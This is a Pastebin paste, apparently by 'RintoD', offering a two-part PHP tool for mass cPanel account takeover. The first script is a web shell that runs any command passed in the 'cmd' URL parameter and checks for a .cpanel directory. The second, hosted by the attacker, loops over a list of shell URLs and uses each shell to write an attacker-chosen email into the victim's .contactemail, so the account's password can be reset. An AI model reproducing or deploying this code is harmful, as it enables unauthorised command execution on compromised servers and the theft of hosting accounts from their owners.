Advertisement
Guest User

Tools mass reset password cpanel

a guest
May 20th, 2019
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.68 KB | None | 0 0
  1.  <?php
  2.  // RintoD
  3.  function execute($cmd){
  4.   if(is_callable('system')) {
  5.       @ob_start();
  6.       @system($cmd);
  7.       $ntod = @ob_get_contents();
  8.       @ob_end_clean();
  9.       return $ntod;
  10.     }
  11.     elseif(is_callable('exec')){
  12.       @exec($cmd, $rest);
  13.       foreach($rest as $result){
  14.         $ntod .= $result;
  15.       }
  16.       return $ntod;
  17.     }
  18.     elseif(is_callable('passthru')){
  19.       @ob_start();
  20.       @passthru($cmd);
  21.       $ntod = @ob_get_contents();
  22.       @ob_end_clean();
  23.       return $ntod;
  24.     }
  25.     elseif(is_callable('shell_exec')){
  26.       $ntod = shell_exec($cmd);
  27.       return $ntod;
  28.     }
  29.     elseif(is_callable('proc_open')){
  30.       $ntod = array(
  31.         0 => array("pipe", "r"),
  32.         1 => array("pipe", "w"),
  33.         2 => array("pipe", "w")
  34.       );
  35.       $ntodProc = @proc_open($cmd, $ntod, $pipe, getcwd(), array());
  36.       if(is_resource($ntodProc)){
  37.         while($ntodS = fgets($pipe[1])){
  38.           if(!empty($ntodS)){
  39.             $ntoy .= $ntodS;
  40.           }
  41.         }
  42.         while($ntodY = fgets($pipe[2])){
  43.           if(!empty($ntodY)){
  44.             $ntoy .= $ntodY;
  45.           }
  46.         }
  47.       }
  48.       @proc_close($ntodProc);
  49.       if(!empty($ntoy)){
  50.         return $ntoy;
  51.       }
  52.     }
  53.     elseif(is_callable('popen')){
  54.       $ntod = @popen($cmd, 'r');
  55.       if($ntod){
  56.         while(!feof($ntod)){
  57.           $ntoy .= fread($ntod, 2096);
  58.         }
  59.         pclose($ntod);
  60.       }
  61.       if(!empty($ntoy)){
  62.         return $ntoy;
  63.       }
  64.     }
  65.   }
  66.   $commd = @$_GET["cmd"];
  67.   if($commd){
  68.    if(execute($commd)){
  69.     echo execute($commd);
  70.    }
  71.    else{
  72.     echo "ERROR! can run command";
  73.    }
  74.   }
  75.   elseif($_GET["user"]){
  76.     if(function_exists("posix_getpwuid")){
  77.       $meh = @posix_getpwuid(fileowner(__FILE__));
  78.     }
  79.     else{
  80.       $meh = fileowner(__FILE__);
  81.     }
  82.     $data = [];
  83.     $data = array("user" => $meh);
  84.     echo json_encode($data);
  85.   }else{
  86.       if(function_exists("posix_getpwuid")){
  87.       $meh = @posix_getpwuid(fileowner(__FILE__));
  88.       }
  89.       else{
  90.           $meh = fileowner(__FILE__);
  91.       }
  92.       if(is_dir("/home/".$meh["name"]."/.cpanel")){
  93.           echo ".cpanel Found";
  94.       }
  95.       else{
  96.           echo ".cpanel Not Found";
  97.       }
  98.   }
  99.  
  100. > Second Upload This Script in your website { For Remotly }
  101.  <?php
  102. // RintoD
  103. function makeRequest($url, $post = null, $head = null)
  104. {
  105.     $options = array(
  106.         CURLOPT_URL => $url,
  107.         CURLOPT_CONNECTTIMEOUT => 15,
  108.         CURLOPT_RETURNTRANSFER => true,
  109.         CURLOPT_FOLLOWLOCATION => true,
  110.         CURLOPT_SSL_VERIFYHOST => false,
  111.         CURLOPT_SSL_VERIFYPEER => false,
  112.         CURLOPT_MAXREDIRS => 10
  113.     );
  114.     $ch = curl_init();
  115.     curl_setopt_array($ch, $options);
  116.     if ($post && !empty($post)) {
  117.         curl_setopt($ch, CURLOPT_POST, true);
  118.         curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  119.     }
  120.     if ($head && !empty($head)) {
  121.         curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
  122.     }
  123.     $outputs = curl_exec($ch);
  124.     curl_close($ch);
  125.     return ($outputs);
  126. }
  127. ?>
  128. <html>
  129. <head>
  130.  <title>Mass Cpanel Reset Password</title>
  131.  <style type="text/css">
  132.   body{
  133.    background: black;
  134.    color: white;
  135.    font-size: 14px;
  136.   }
  137.   textarea{
  138.    width: 50%;
  139.    height: 50%;
  140.    background: transparent;
  141.    border: 1px solid #fff;
  142.    font-size: 14px;
  143.    color: #fff;
  144.   }
  145.   input[type=submit],input[type=text]{
  146.    background: transparent;
  147.    border: 1px solid #fff;
  148.    color: #fff;
  149.    width: 50%;
  150.   }
  151.  </style>
  152. </head>
  153. <body>
  154.  <center><h2>Cpanel Mass Reset Password</h2>
  155.  <br />
  156.  <form method="POST" action="">
  157.   <textarea name="lst"></textarea>
  158.   <br />
  159.   <input type="text" name="email" placeholder="Email">
  160.   <br />
  161.   <input type="submit" name="sbm" value="Reset!!">
  162.  </form>
  163.  <?php
  164.  $smb = @$_POST["submit"];
  165.  $email = @$_POST["email"];
  166.  $lst = explode("\r\n", @$_POST["lst"]);
  167.  foreach($lst as $list){
  168.   preg_match_all("#^http.*?://(.*?)/#", $list, $bah);
  169.   $meh = makeRequest($bah[0][0]."cpanel");
  170.   if(preg_match("/>Reset Password/", $meh)){
  171.    $check = makeRequest($list);
  172.    if(preg_match("|.cpanel Found|", $check)){
  173.     $low = makeRequest($list."?user=rintod");
  174.     $cw = json_decode($low, true);
  175.     $cmd = makeRequest($list."?cmd=echo%20$email%20>%20".$cw["user"]["dir"]."/.contactemail;echo%20RintoD");
  176.     if(preg_match("/ERROR/i", $cmd)){
  177.      echo $list. " > Failed :D Try Manual<br>";
  178.     }
  179.     else{
  180.      echo $list. " > Success Try Reset The Password ".$bah[0][0]."/cpanel | $email<br>";
  181.     }
  182.    }
  183.    else{
  184.     echo $list. " > Cant Reset<br>";
  185.    }
  186.   }
  187.   else{
  188.    echo $list." >> Sorry Reset Password Is Disable :D";
  189.   }
  190.  }
  191.  ?>
  192.  </center>
  193. </body>
  194. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement